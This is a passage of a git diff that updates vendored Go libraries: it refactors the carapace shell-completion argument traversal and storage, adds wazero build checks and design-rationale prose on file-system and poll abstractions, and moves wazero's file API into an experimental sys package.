+ case !isDash && len(entry.positional) > index:
+ return true
+ case !isDash:
+ return entry.positionalAny != nil
+ case len(entry.dash) > index:
+ return true
+ default:
+ return entry.dashAny != nil
+ }
+}
+
func (s _storage) getPositional(cmd *cobra.Command, index int) Action {
entry := s.get(cmd)
isDash := common.IsDash(cmd)
@@ -88,14 +157,23 @@ func (s _storage) getPositional(cmd *cobra.Command, index int) Action {
var a Action
switch {
case !isDash && len(entry.positional) > index:
- a = s.preinvoke(cmd, nil, entry.positional[index])
+ a = entry.positional[index]
case !isDash:
- a = s.preinvoke(cmd, nil, entry.positionalAny)
+ if entry.positionalAny != nil {
+ a = *entry.positionalAny
+ } else {
+ a = ActionCobra(cmd.ValidArgsFunction)
+ }
case len(entry.dash) > index:
- a = s.preinvoke(cmd, nil, entry.dash[index])
+ a = entry.dash[index]
default:
- a = s.preinvoke(cmd, nil, entry.dashAny)
+ if entry.dashAny != nil {
+ a = *entry.dashAny
+ } else {
+ a = ActionCobra(cmd.ValidArgsFunction)
+ }
}
+ a = s.preinvoke(cmd, nil, a)
return ActionCallback(func(c Context) Action {
invoked := a.Invoke(c)
@@ -109,11 +187,16 @@ func (s _storage) getPositional(cmd *cobra.Command, index int) Action {
func (s _storage) check() []string {
errors := make([]string, 0)
for cmd, entry := range s {
- for name := range entry.flag {
- if flag := cmd.LocalFlags().Lookup(name); flag == nil {
- errors = append(errors, fmt.Sprintf("unknown flag for %s: %s\n", uid.Command(cmd), name))
+ func() {
+ entry.flagMutex.RLock()
+ defer entry.flagMutex.RUnlock()
+
+ for name := range entry.flag {
+ if flag := cmd.LocalFlags().Lookup(name); flag == nil {
+ errors = append(errors, fmt.Sprintf("unknown flag for %s: %s\n", uid.Command(cmd), name))
+ }
}
- }
+ }()
}
return errors
}
diff --git a/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/parse_sgr.go b/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/parse_sgr.go
index 21ea6975f1..87538e9a65 100644
--- a/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/parse_sgr.go
+++ b/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/parse_sgr.go
@@ -54,13 +54,11 @@ func StylingFromSGR(s string) Styling {
consume = 3
case code == 38 && len(codes) >= 5 && codes[1] == 2:
moreStyling = Fg(trueColor{
- uint8(codes[2]), uint8(codes[3]), uint8(codes[4]),
- })
+ uint8(codes[2]), uint8(codes[3]), uint8(codes[4])})
consume = 5
case code == 48 && len(codes) >= 5 && codes[1] == 2:
moreStyling = Bg(trueColor{
- uint8(codes[2]), uint8(codes[3]), uint8(codes[4]),
- })
+ uint8(codes[2]), uint8(codes[3]), uint8(codes[4])})
consume = 5
default:
// Do nothing; skip this code
diff --git a/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/styling.go b/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/styling.go
index 485657d5cd..21db8778a4 100644
--- a/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/styling.go
+++ b/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/styling.go
@@ -93,14 +93,12 @@ func Fg(c Color) Styling { return setForeground{c} }
// Bg returns a Styling that sets the background color.
func Bg(c Color) Styling { return setBackground{c} }
-type (
- reset struct{}
- setForeground struct{ c Color }
- setBackground struct{ c Color }
- boolOn struct{ f boolField }
- boolOff struct{ f boolField }
- boolToggle struct{ f boolField }
-)
+type reset struct{}
+type setForeground struct{ c Color }
+type setBackground struct{ c Color }
+type boolOn struct{ f boolField }
+type boolOff struct{ f boolField }
+type boolToggle struct{ f boolField }
func (reset) transform(s *Style) { *s = Style{} }
func (t setForeground) transform(s *Style) { s.Foreground = t.c }
@@ -111,14 +109,12 @@ func (t boolToggle) transform(s *Style) { p := t.f.get(s); *p = !*p }
type boolField interface{ get(*Style) *bool }
-type (
- boldField struct{}
- dimField struct{}
- italicField struct{}
- underlinedField struct{}
- blinkField struct{}
- inverseField struct{}
-)
+type boldField struct{}
+type dimField struct{}
+type italicField struct{}
+type underlinedField struct{}
+type blinkField struct{}
+type inverseField struct{}
func (boldField) get(s *Style) *bool { return &s.Bold }
func (dimField) get(s *Style) *bool { return &s.Dim }
diff --git a/vendor/github.com/rsteube/carapace/traverse.go b/vendor/github.com/rsteube/carapace/traverse.go
index c7a8653132..eb8a747b9b 100644
--- a/vendor/github.com/rsteube/carapace/traverse.go
+++ b/vendor/github.com/rsteube/carapace/traverse.go
@@ -10,46 +10,23 @@ import (
"github.com/spf13/cobra"
)
-type _inFlag struct { // TODO rename or integrate into pflagfork.Flag?
- *pflagfork.Flag
- // currently consumed args since encountered flag
- Args []string
-}
-
-func (f _inFlag) Consumes(arg string) bool {
- switch {
- case f.Flag == nil:
- return false
- case !f.TakesValue():
- return false
- case f.IsOptarg():
- return false
- case len(f.Args) == 0:
- return true
- case f.Nargs() > 1 && len(f.Args) < f.Nargs():
- return true
- case f.Nargs() < 0 && !strings.HasPrefix(arg, "-"):
- return true
- default:
- return false
- }
-}
-
-func traverse(c *cobra.Command, args []string) (Action, Context) {
- LOG.Printf("traverse called for %#v with args %#v\n", c.Name(), args)
- storage.preRun(c, args)
+func traverse(cmd *cobra.Command, args []string) (Action, Context) {
+ LOG.Printf("traverse called for %#v with args %#v\n", cmd.Name(), args)
+ storage.preRun(cmd, args)
if env.Lenient() {
LOG.Printf("allowing unknown flags")
- c.FParseErrWhitelist.UnknownFlags = true
+ cmd.FParseErrWhitelist.UnknownFlags = true
}
- inArgs := []string{} // args consumed by current command
- var inFlag *_inFlag // last encountered flag that still expects arguments
- c.LocalFlags() // TODO force c.mergePersistentFlags() which is missing from c.Flags()
- fs := pflagfork.FlagSet{FlagSet: c.Flags()}
+ inArgs := []string{} // args consumed by current command
+ inPositionals := []string{} // positionals consumed by current command
+ var inFlag *pflagfork.Flag // last encountered flag that still expects arguments
+ cmd.LocalFlags() // TODO force c.mergePersistentFlags() which is missing from c.Flags()
+ fs := pflagfork.FlagSet{FlagSet: cmd.Flags()}
context := NewContext(args...)
+ context.cmd = cmd
loop:
for i, arg := range context.Args {
switch {
@@ -71,41 +48,39 @@ loop:
break loop
// flag
- case !c.DisableFlagParsing && strings.HasPrefix(arg, "-"):
+ case !cmd.DisableFlagParsing && strings.HasPrefix(arg, "-") && (fs.IsInterspersed() || len(inPositionals) == 0):
LOG.Printf("arg %#v is a flag\n", arg)
inArgs = append(inArgs, arg)
- inFlag = &_inFlag{
- Flag: fs.LookupArg(arg),
- Args: []string{},
- }
+ inFlag = fs.LookupArg(arg)
- if inFlag.Flag == nil {
+ if inFlag == nil {
LOG.Printf("flag %#v is unknown", arg)
}
continue
// subcommand
- case subcommand(c, arg) != nil:
+ case subcommand(cmd, arg) != nil:
LOG.Printf("arg %#v is a subcommand\n", arg)
switch {
- case c.DisableFlagParsing:
- LOG.Printf("flag parsing disabled for %#v\n", c.Name())
+ case cmd.DisableFlagParsing:
+ LOG.Printf("flag parsing disabled for %#v\n", cmd.Name())
default:
- LOG.Printf("parsing flags for %#v with args %#v\n", c.Name(), inArgs)
- if err := c.ParseFlags(inArgs); err != nil {
+ LOG.Printf("parsing flags for %#v with args %#v\n", cmd.Name(), inArgs)
+ if err := cmd.ParseFlags(inArgs); err != nil {
return ActionMessage(err.Error()), context
}
- context.Args = c.Flags().Args()
+ context.Args = cmd.Flags().Args()
}
- return traverse(subcommand(c, arg), args[i+1:])
+ return traverse(subcommand(cmd, arg), args[i+1:])
// positional
default:
LOG.Printf("arg %#v is a positional\n", arg)
inArgs = append(inArgs, arg)
+ inPositionals = append(inPositionals, arg)
}
}
@@ -113,16 +88,17 @@ loop:
if inFlag != nil && len(inFlag.Args) == 0 && inFlag.Consumes("") {
LOG.Printf("removing arg %#v since it is a flag missing its argument\n", toParse[len(toParse)-1])
toParse = toParse[:len(toParse)-1]
- } else if fs.IsShorthandSeries(context.Value) {
- LOG.Printf("arg %#v is a shorthand flag series", context.Value)
- localInFlag := &_inFlag{
- Flag: fs.LookupArg(context.Value),
- Args: []string{},
- }
- if localInFlag.Consumes("") && len(context.Value) > 2 {
- LOG.Printf("removing shorthand %#v from flag series since it is missing its argument\n", localInFlag.Shorthand)
- toParse = append(toParse, strings.TrimSuffix(context.Value, localInFlag.Shorthand))
+ } else if (fs.IsInterspersed() || len(inPositionals) == 0) && fs.IsShorthandSeries(context.Value) { // TODO shorthand series isn't correct anymore (can have value attached)
+ LOG.Printf("arg %#v is a shorthand flag series", context.Value) // TODO not aways correct
+ localInFlag := fs.LookupArg(context.Value)
+
+ if localInFlag != nil && (len(localInFlag.Args) == 0 || localInFlag.Args[0] == "") && (!localInFlag.IsOptarg() || strings.HasSuffix(localInFlag.Prefix, string(localInFlag.OptargDelimiter()))) { // TODO && len(context.Value) > 2 {
+ // TODO check if empty prefix
+ suffix := localInFlag.Prefix[strings.LastIndex(localInFlag.Prefix, localInFlag.Shorthand):]
+ LOG.Printf("removing suffix %#v since it is a flag missing its argument\n", suffix)
+ toParse = append(toParse, strings.TrimSuffix(localInFlag.Prefix, suffix))
} else {
+ LOG.Printf("adding shorthand flag %#v", context.Value)
toParse = append(toParse, context.Value)
}
@@ -130,55 +106,56 @@ loop:
// TODO duplicated code
switch {
- case c.DisableFlagParsing:
- LOG.Printf("flag parsing is disabled for %#v\n", c.Name())
+ case cmd.DisableFlagParsing:
+ LOG.Printf("flag parsing is disabled for %#v\n", cmd.Name())
default:
- LOG.Printf("parsing flags for %#v with args %#v\n", c.Name(), toParse)
- if err := c.ParseFlags(toParse); err != nil {
+ LOG.Printf("parsing flags for %#v with args %#v\n", cmd.Name(), toParse)
+ if err := cmd.ParseFlags(toParse); err != nil {
return ActionMessage(err.Error()), context
}
- context.Args = c.Flags().Args()
+ context.Args = cmd.Flags().Args()
}
switch {
// dash argument
- case common.IsDash(c):
+ case common.IsDash(cmd):
LOG.Printf("completing dash for arg %#v\n", context.Value)
- context.Args = c.Flags().Args()[c.ArgsLenAtDash():]
+ context.Args = cmd.Flags().Args()[cmd.ArgsLenAtDash():]
LOG.Printf("context: %#v\n", context.Args)
- return storage.getPositional(c, len(context.Args)), context
+ return storage.getPositional(cmd, len(context.Args)), context
// flag argument
case inFlag != nil && inFlag.Consumes(context.Value):
LOG.Printf("completing flag argument of %#v for arg %#v\n", inFlag.Name, context.Value)
context.Parts = inFlag.Args
- return storage.getFlag(c, inFlag.Name), context
+ return storage.getFlag(cmd, inFlag.Name), context
// flag
- case !c.DisableFlagParsing && strings.HasPrefix(context.Value, "-"):
- if f := fs.LookupArg(context.Value); f != nil && f.IsOptarg() && strings.Contains(context.Value, string(f.OptargDelimiter())) {
- LOG.Printf("completing optional flag argument for arg %#v\n", context.Value)
- prefix, optarg := f.Split(context.Value)
- context.Value = optarg
+ case !cmd.DisableFlagParsing && strings.HasPrefix(context.Value, "-") && (fs.IsInterspersed() || len(inPositionals) == 0):
+ if f := fs.LookupArg(context.Value); f != nil && len(f.Args) > 0 {
+ LOG.Printf("completing optional flag argument for arg %#v with prefix %#v\n", context.Value, f.Prefix)
switch f.Value.Type() {
case "bool":
- return ActionValues("true", "false").StyleF(style.ForKeyword).Prefix(prefix), context
+ return ActionValues("true", "false").StyleF(style.ForKeyword).Usage(f.Usage).Prefix(f.Prefix), context
default:
- return storage.getFlag(c, f.Name).Prefix(prefix), context
+ return storage.getFlag(cmd, f.Name).Prefix(f.Prefix), context
}
+ } else if f != nil && fs.IsPosix() && !strings.HasPrefix(context.Value, "--") && !f.IsOptarg() && f.Prefix == context.Value {
+ LOG.Printf("completing attached flag argument for arg %#v with prefix %#v\n", context.Value, f.Prefix)
+ return storage.getFlag(cmd, f.Name).Prefix(f.Prefix), context
}
LOG.Printf("completing flags for arg %#v\n", context.Value)
- return actionFlags(c), context
+ return actionFlags(cmd), context
// positional or subcommand
default:
LOG.Printf("completing positionals and subcommands for arg %#v\n", context.Value)
- batch := Batch(storage.getPositional(c, len(context.Args)))
- if c.HasAvailableSubCommands() && len(context.Args) == 0 {
- batch = append(batch, actionSubcommands(c))
+ batch := Batch(storage.getPositional(cmd, len(context.Args)))
+ if cmd.HasAvailableSubCommands() && len(context.Args) == 0 {
+ batch = append(batch, ActionCommands(cmd))
}
return batch.ToA(), context
}
diff --git a/vendor/github.com/tetratelabs/wazero/Makefile b/vendor/github.com/tetratelabs/wazero/Makefile
index 5c7eae416f..4ed46536ee 100644
--- a/vendor/github.com/tetratelabs/wazero/Makefile
+++ b/vendor/github.com/tetratelabs/wazero/Makefile
@@ -212,6 +212,10 @@ check:
# This makes sure the intepreter can be used. Most often the package that can
# drift here is "platform" or "sysfs":
#
+# Ensure we build on plan9. See #1578
+ @GOARCH=amd64 GOOS=plan9 go build ./...
+# Ensure we build on gojs. See #1526. TODO: add GOOS=wasi as well.
+ @GOARCH=wasm GOOS=js go build ./...
# Ensure we build on windows:
@GOARCH=amd64 GOOS=windows go build ./...
# Ensure we build on an arbitrary operating system:
diff --git a/vendor/github.com/tetratelabs/wazero/RATIONALE.md b/vendor/github.com/tetratelabs/wazero/RATIONALE.md
index 32a0da20e6..d8a1d12e2b 100644
--- a/vendor/github.com/tetratelabs/wazero/RATIONALE.md
+++ b/vendor/github.com/tetratelabs/wazero/RATIONALE.md
@@ -616,6 +616,135 @@ act differently and document `ModuleConfig` is more about emulating, not necessa
## File systems
+### Motivation on `sys.FS`
+
+The `sys.FS` abstraction in wazero was created because of limitations in
+`fs.FS`, and `fs.File` in Go. Compilers targeting `wasip1` may access
+functionality that writes new files. The ability to overcome this was requested
+even before wazero was named this, via issue #21 in March 2021.
+
+A month later, golang/go#45757 was raised by someone else on the same topic. As
+of July 2023, this has not resolved to a writeable file system abstraction.
+
+Over the next year more use cases accumulated, consolidated in March 2022 into
+#390. This closed in January 2023 with a milestone of providing more
+functionality, limited to users giving a real directory. This didn't yet expose
+a file abstraction for general purpose use. Internally, this used `os.File`.
+However, a wasm module instance is a virtual machine. Only supporting `os.File`
+breaks sand-boxing use cases. Moreover, `os.File` is not an interface. Even
+though this abstracts functionality, it does allow interception use cases.
+
+Hence, a few days later in January 2023, we had more issues asking to expose an
+abstraction, #1013 and later #1532, on use cases like masking access to files.
+In other words, the use case requests never stopped, and aren't solved by
+exposing only real files.
+
+In summary, the primary motivation for exposing a replacement for `fs.FS` and
+`fs.File` was around repetitive use case requests for years, around
+interception and the ability to create new files, both virtual and real files.
+While some use cases are solved with real files, not all are. Regardless, an
+interface approach is necessary to ensure users can intercept I/O operations.
+
+### Why doesn't `sys.File` have a `Fd()` method?
+
+There are many features we could expose. We could make File expose underlying
+file descriptors in case they are supported, for integration of system calls
+that accept multiple ones, namely `poll` for multiplexing. This special case is
+described in a subsequent section.
+
+As noted above, users have been asking for a file abstraction for over two
+years, and a common answer was to wait. Making users wait is a problem,
+especially so long. Good reasons to make people wait are stabilization. Edge
+case features are not a great reason to hold abstractions from users.
+
+Another reason is implementation difficulty. Go did not attempt to abstract
+file descriptors. For example, unlike `fs.ReadFile` there is no `fs.FdFile`
+interface. Most likely, this is because file descriptors are an implementation
+detail of common features. Programming languages, including Go, do not require
+end users to know about file descriptors. Types such as `fs.File` can be used
+without any knowledge of them. Implementations may or may not have file
+descriptors. For example, in Go, `os.DirFS` has underlying file descriptors
+while `embed.FS` does not.
+
+Despite this, some may want to expose a non-standard interface because
+`os.File` has `Fd() uintptr` to return a file descriptor. Mainly, this is
+handy to integrate with `syscall` package functions (on `GOOS` values that
+declare them). Notice, though that `uintptr` is unsafe and not an abstraction.
+Close inspection will find some `os.File` types internally use `poll.FD`
+instead, yet this is not possible to use abstractly because that type is not
+exposed. For example, `plan9` uses a different type than `poll.FD`. In other
+words, even in real files, `Fd()` is not wholly portable, despite it being
+useful on many operating systems with the `syscall` package.
+
+The reasons above, why Go doesn't abstract `FdFile` interface are a subset of
+reasons why `sys.File` does not. If we exposed `File.Fd()` we not only would
+have to declare all the edge cases that Go describes including impact of
+finalizers, we would have to describe these in terms of virtualized files.
+Then, we would have to reason with this value vs our existing virtualized
+`sys.FileTable`, mapping whatever type we return to keys in that table, also
+in consideration of garbage collection impact. The combination of issues like
+this could lead down a path of not implementing a file system abstraction at
+all, and instead a weak key mapped abstraction of the `syscall` package. Once
+we finished with all the edge cases, we would have lost context of the original
+reason why we started.. simply to allow file write access!
+
+When wazero attempts to do more than what the Go programming language team, it
+has to be carefully evaluated, to:
+* Be possible to implement at least for `os.File` backed files
+* Not be confusing or cognitively hard for virtual file systems and normal use.
+* Affordable: custom code is solely the responsible by the core team, a much
+ smaller group of individuals than who maintain the Go programming language.
+
+Due to problems well known in Go, consideration of the end users who constantly
+ask for basic file system functionality, and the difficulty virtualizing file
+descriptors at multiple levels, we don't expose `Fd()` and likely won't ever
+expose `Fd()` on `sys.File`.
+
+### Why does `sys.File` have a `Poll()` method, while `sys.FS` does not?
+
+wazero exposes `File.Poll` which allows one-at-a-time poll use cases,
+requested by multiple users. This not only includes abstract tests such as
+Go 1.21 `GOOS=wasip1`, but real use cases including python and container2wasm
+repls, as well listen sockets. The main use cases is non-blocking poll on a
+single file. Being a single file, this has no risk of problems such as
+head-of-line blocking, even when emulated.
+
+The main use case of multi-poll are bidirectional network services, something
+not used in `GOOS=wasip1` standard libraries, but could be in the future.
+Moving forward without a multi-poller allows wazero to expose its file system
+abstraction instead of continuing to hold back it back for edge cases. We'll
+continue discussion below regardless, as rationale was requested.
+
+You can loop through multiple `sys.File`, using `File.Poll` to see if an event
+is ready, but there is a head-of-line blocking problem. If a long timeout is
+used, bad luck could have a file that has nothing to read or write before one
+that does. This could cause more blocking than necessary, even if you could
+poll the others just after with a zero timeout. What's worse than this is if
+unlimited blocking was used (`timeout=-1`). The host implementations could use
+goroutines to avoid this, but interrupting a "forever" poll is problematic. All
+of these are reasons to consider a multi-poll API, but do not require exporting
+`File.Fd()`.
+
+Should multi-poll becomes critical, `sys.FS` could expose a `Poll` function
+like below, despite it being the non-portable, complicated if possible to
+implement on all platforms and virtual file systems.
+```go
+ready, errno := fs.Poll([]sys.PollFile{{f1, sys.POLLIN}, {f2, sys.POLLOUT}}, timeoutMillis)
+```
+
+A real filesystem could handle this by using an approach like the internal
+`unix.Poll` function in Go, passing file descriptors on unix platforms, or
+returning `sys.ENOSYS` for unsupported operating systems. Implementation for
+virtual files could have a strategy around timeout to avoid the worst case of
+head-of-line blocking (unlimited timeout).
+
+Let's remember that when designing abstractions, it is not best to add an
+interface for everything. Certainly, Go doesn't, as evidenced by them not
+exposing `poll.FD` in `os.File`! Such a multi-poll could be limited to
+built-in filesystems in the wazero repository, avoiding complexity of trying to
+support and test this abstractly. This would still permit multiplexing for CLI
+users, and also permit single file polling as exists now.
+
### Why doesn't wazero implement the working directory?
An early design of wazero's API included a `WithWorkDirFS` which allowed
@@ -1270,19 +1399,18 @@ as for regular file descriptors: data is assumed to be present and
a success is written back to the result buffer.
However, if the reader is detected to read from `os.Stdin`,
-a special code path is followed, invoking `platform.Select()`.
+a special code path is followed, invoking `sysfs.poll()`.
-`platform.Select()` is a wrapper for `select(2)` on POSIX systems,
+`sysfs.poll()` is a wrapper for `poll(2)` on POSIX systems,
and it is emulated on Windows.
-### Select on POSIX
+### Poll on POSIX
-On POSIX systems,`select(2)` allows to wait for incoming data on a file
+On POSIX systems, `poll(2)` allows to wait for incoming data on a file
descriptor, and block until either data becomes available or the timeout
-expires. It is not surprising that `select(2)` and `poll(2)` have lot in common:
-the main difference is how the file descriptor parameters are passed.
+expires.
-Usage of `platform.Select()` is only reserved for the standard input case, because
+Usage of `syfs.poll()` is currently only reserved for standard input, because
1. it is really only necessary to handle interactive input: otherwise,
there is no way in Go to peek from Standard Input without actually
@@ -1291,11 +1419,11 @@ Usage of `platform.Select()` is only reserved for the standard input case, becau
2. if `Stdin` is connected to a pipe, it is ok in most cases to return
with success immediately;
-3. `platform.Select()` is currently a blocking call, irrespective of goroutines,
+3. `syfs.poll()` is currently a blocking call, irrespective of goroutines,
because the underlying syscall is; thus, it is better to limit its usage.
So, if the subscription is for `os.Stdin` and the handle is detected
-to correspond to an interactive session, then `platform.Select()` will be
+to correspond to an interactive session, then `sysfs.poll()` will be
invoked with a the `Stdin` handle *and* the timeout.
This also means that in this specific case, the timeout is uninterruptible,
@@ -1303,35 +1431,46 @@ unless data becomes available on `Stdin` itself.
### Select on Windows
-On Windows `platform.Select()` cannot be delegated to a single
+On Windows `sysfs.poll()` cannot be delegated to a single
syscall, because there is no single syscall to handle sockets,
pipes and regular files.
Instead, we emulate its behavior for the cases that are currently
-of interest.
+of interest.
- For regular files, we _always_ report them as ready, as
[most operating systems do anyway][async-io-windows].
-- For pipes, we iterate on the given `readfds`
-and we invoke [`PeekNamedPipe`][peeknamedpipe]. We currently ignore
-`writefds` and `exceptfds` for pipes. In particular,
-`Stdin`, when present, is set to the `readfds` FdSet.
+- For pipes, we invoke [`PeekNamedPipe`][peeknamedpipe]
+for each file handle we detect is a pipe open for reading.
+We currently ignore pipes open for writing.
- Notably, we include also support for sockets using the [WinSock
-implementation of `select`][winsock-select], but instead
-of relying on the timeout argument of the `select` function,
+implementation of `poll`][wsapoll], but instead
+of relying on the timeout argument of the `WSAPoll` function,
we set a 0-duration timeout so that it behaves like a peek.
This way, we can check for regular files all at once,
-at the beginning of the function, then we poll pipes and
+at the beginning of the function, then we poll pipes and
sockets periodically using a cancellable `time.Tick`,
which plays nicely with the rest of the Go runtime.
+### Impact of blocking
+
+Because this is a blocking syscall, it will also block the carrier thread of
+the goroutine, preventing any means to support context cancellation directly.
+
+There are ways to obviate this issue. We outline here one idea, that is however
+not currently implemented. A common approach to support context cancellation is
+to add a signal file descriptor to the set, e.g. the read-end of a pipe or an
+eventfd on Linux. When the context is canceled, we may unblock a Select call by
+writing to the fd, causing it to return immediately. This however requires to
+do a bit of housekeeping to hide the "special" FD from the end-user.
+
[poll_oneoff]: https://github.com/WebAssembly/wasi-poll#why-is-the-function-called-poll_oneoff
[async-io-windows]: https://tinyclouds.org/iocp_links
[peeknamedpipe]: https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-peeknamedpipe
-[winsock-select]: https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-select
+[wsapoll]: https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsapoll
## Signed encoding of integer global constant initializers
diff --git a/vendor/github.com/tetratelabs/wazero/config.go b/vendor/github.com/tetratelabs/wazero/config.go
index 8fcfb5fa2b..70219b055f 100644
--- a/vendor/github.com/tetratelabs/wazero/config.go
+++ b/vendor/github.com/tetratelabs/wazero/config.go
@@ -11,10 +11,10 @@ import (
"time"
"github.com/tetratelabs/wazero/api"
+ experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/engine/compiler"
"github.com/tetratelabs/wazero/internal/engine/interpreter"
"github.com/tetratelabs/wazero/internal/filecache"
- "github.com/tetratelabs/wazero/internal/fsapi"
"github.com/tetratelabs/wazero/internal/internalapi"
"github.com/tetratelabs/wazero/internal/platform"
internalsock "github.com/tetratelabs/wazero/internal/sock"
@@ -846,7 +846,7 @@ func (c *moduleConfig) toSysContext() (sysCtx *internalsys.Context, err error) {
environ = append(environ, result)
}
- var fs []fsapi.FS
+ var fs []experimentalsys.FS
var guestPaths []string
if f, ok := c.fsConfig.(*fsConfig); ok {
fs, guestPaths = f.preopens()
diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/dir.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/dir.go
similarity index 62%
rename from vendor/github.com/tetratelabs/wazero/internal/fsapi/dir.go
rename to vendor/github.com/tetratelabs/wazero/experimental/sys/dir.go
index 6e99b1b5d0..0b997cb8fc 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/dir.go
+++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/dir.go
@@ -1,11 +1,9 @@
-package fsapi
+package sys
import (
"fmt"
"io/fs"
- "time"
- experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/sys"
)
@@ -22,7 +20,7 @@ type FileType = fs.FileMode
// - This extends `dirent` defined in POSIX with some fields defined by
// Linux. See https://man7.org/linux/man-pages/man3/readdir.3.html and
// https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/dirent.h.html
-// - This has a subset of fields defined in Stat_t. Notably, there is no
+// - This has a subset of fields defined in sys.Stat_t. Notably, there is no
// field corresponding to Stat_t.Dev because that value will be constant
// for all files in a directory. To get the Dev value, call File.Stat on
// the directory File.Readdir was called on.
@@ -59,51 +57,36 @@ func (DirFile) IsAppend() bool {
}
// SetAppend implements File.SetAppend
-func (DirFile) SetAppend(bool) experimentalsys.Errno {
- return experimentalsys.EISDIR
-}
-
-// IsNonblock implements File.IsNonblock
-func (DirFile) IsNonblock() bool {
- return false
-}
-
-// SetNonblock implements File.SetNonblock
-func (DirFile) SetNonblock(bool) experimentalsys.Errno {
- return experimentalsys.EISDIR
+func (DirFile) SetAppend(bool) Errno {
+ return EISDIR
}
// IsDir implements File.IsDir
-func (DirFile) IsDir() (bool, experimentalsys.Errno) {
+func (DirFile) IsDir() (bool, Errno) {
return true, 0
}
// Read implements File.Read
-func (DirFile) Read([]byte) (int, experimentalsys.Errno) {
- return 0, experimentalsys.EISDIR
+func (DirFile) Read([]byte) (int, Errno) {
+ return 0, EISDIR
}
// Pread implements File.Pread
-func (DirFile) Pread([]byte, int64) (int, experimentalsys.Errno) {
- return 0, experimentalsys.EISDIR
-}
-
-// PollRead implements File.PollRead
-func (DirFile) PollRead(*time.Duration) (ready bool, errno experimentalsys.Errno) {
- return false, experimentalsys.ENOSYS
+func (DirFile) Pread([]byte, int64) (int, Errno) {
+ return 0, EISDIR
}
// Write implements File.Write
-func (DirFile) Write([]byte) (int, experimentalsys.Errno) {
- return 0, experimentalsys.EISDIR
+func (DirFile) Write([]byte) (int, Errno) {
+ return 0, EISDIR
}
// Pwrite implements File.Pwrite
-func (DirFile) Pwrite([]byte, int64) (int, experimentalsys.Errno) {
- return 0, experimentalsys.EISDIR
+func (DirFile) Pwrite([]byte, int64) (int, Errno) {
+ return 0, EISDIR
}
// Truncate implements File.Truncate
-func (DirFile) Truncate(int64) experimentalsys.Errno {
- return experimentalsys.EISDIR
+func (DirFile) Truncate(int64) Errno {
+ return EISDIR
}
diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/file.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/file.go
new file mode 100644
index 0000000000..f8f2e5b128
--- /dev/null
+++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/file.go
@@ -0,0 +1,317 @@
+package sys
+
+import "github.com/tetratelabs/wazero/sys"
+
+// File is a writeable fs.File bridge backed by syscall functions needed for ABI
+// including WASI and runtime.GOOS=js.
+//
+// Implementations should embed UnimplementedFile for forward compatability. Any
+// unsupported method or parameter should return ENOSYS.
+//
+// # Errors
+//
+// All methods that can return an error return a Errno, which is zero
+// on success.
+//
+// Restricting to Errno matches current WebAssembly host functions,
+// which are constrained to well-known error codes. For example, `GOOS=js` maps
+// hard coded values and panics otherwise. More commonly, WASI maps syscall
+// errors to u32 numeric values.
+//
+// # Notes
+//
+// - You must call Close to avoid file resource conflicts. For example,
+// Windows cannot delete the underlying directory while a handle to it
+// remains open.
+// - A writable filesystem abstraction is not yet implemented as of Go 1.20.
+// See https://github.com/golang/go/issues/45757
+type File interface {
+ // Dev returns the device ID (Stat_t.Dev) of this file, zero if unknown or
+ // an error retrieving it.
+ //
+ // # Errors
+ //
+ // Possible errors are those from Stat, except ENOSYS should not
+ // be returned. Zero should be returned if there is no implementation.
+ //
+ // # Notes
+ //
+ // - Implementations should cache this result.
+ // - This combined with Ino can implement os.SameFile.
+ Dev() (uint64, Errno)
+
+ // Ino returns the serial number (Stat_t.Ino) of this file, zero if unknown
+ // or an error retrieving it.
+ //
+ // # Errors
+ //
+ // Possible errors are those from Stat, except ENOSYS should not
+ // be returned. Zero should be returned if there is no implementation.
+ //
+ // # Notes
+ //
+ // - Implementations should cache this result.
+ // - This combined with Dev can implement os.SameFile.
+ Ino() (sys.Inode, Errno)
+
+ // IsDir returns true if this file is a directory or an error there was an
+ // error retrieving this information.
+ //
+ // # Errors
+ //
+ // Possible errors are those from Stat, except ENOSYS should not
+ // be returned. false should be returned if there is no implementation.
+ //
+ // # Notes
+ //
+ // - Implementations should cache this result.
+ IsDir() (bool, Errno)
+
+ // IsAppend returns true if the file was opened with O_APPEND, or
+ // SetAppend was successfully enabled on this file.
+ //
+ // # Notes
+ //
+ // - This might not match the underlying state of the file descriptor if
+ // the file was not opened via OpenFile.
+ IsAppend() bool
+
+ // SetAppend toggles the append mode (O_APPEND) of this file.
+ //
+ // # Errors
+ //
+ // A zero Errno is success. The below are expected otherwise:
+ // - ENOSYS: the implementation does not support this function.
+ // - EBADF: the file or directory was closed.
+ //
+ // # Notes
+ //
+ // - There is no `O_APPEND` for `fcntl` in POSIX, so implementations may
+ // have to re-open the underlying file to apply this. See
+ // https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html
+ SetAppend(enable bool) Errno
+
+ // Stat is similar to syscall.Fstat.
+ //
+ // # Errors
+ //
+ // A zero Errno is success. The below are expected otherwise:
+ // - ENOSYS: the implementation does not support this function.
+ // - EBADF: the file or directory was closed.
+ //
+ // # Notes
+ //
+ // - This is like syscall.Fstat and `fstatat` with `AT_FDCWD` in POSIX.
+ // See https://pubs.opengroup.org/onlinepubs/9699919799/functions/stat.html
